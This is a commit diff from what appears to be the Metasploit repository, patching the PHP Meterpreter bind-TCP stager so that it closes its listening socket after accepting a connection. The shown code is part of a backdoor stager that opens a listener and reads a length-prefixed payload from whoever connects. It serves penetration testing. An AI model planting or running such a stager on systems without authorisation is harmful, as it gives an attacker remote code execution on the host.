Land all the commits on rapid7#3491, @jlee-r7's patch for php meterpreter

Author: jvazquez-r7

data/php/bind_tcp.php

@@ -9,24 +9,27 @@
 	$srvsock = stream_socket_server("tcp://{$ipaddr}:{$port}");
 	if (!$srvsock) { die(); }
 	$s = stream_socket_accept($srvsock, -1);
+	fclose($srvsock);
 	$s_type = 'stream';
 } elseif (is_callable('socket_create_listen')) {
 	$srvsock = socket_create_listen(AF_INET, SOCK_STREAM, SOL_TCP);
 	if (!$res) { die(); }
 	$s = socket_accept($srvsock);
+	socket_close($srvsock);
 	$s_type = 'socket';
 } elseif (is_callable('socket_create')) {
 	$srvsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
 	$res = socket_bind($srvsock, $ipaddr, $port);
 	if (!$res) { die(); }
 	$s = socket_accept($srvsock);
+	socket_close($srvsock);
 	$s_type = 'socket';
 } else {
 	die();
 }
 if (!$s) { die(); }
 
-switch ($s_type) { 
+switch ($s_type) {
 case 'stream': $len = fread($s, 4); break;
 case 'socket': $len = socket_read($s, 4); break;
 }
@@ -40,7 +43,7 @@
 
 $b = '';
 while (strlen($b) < $len) {
-	switch ($s_type) { 
+	switch ($s_type) {
 	case 'stream': $b .= fread($s, $len-strlen($b)); break;
 	case 'socket': $b .= socket_read($s, $len-strlen($b)); break;
 	}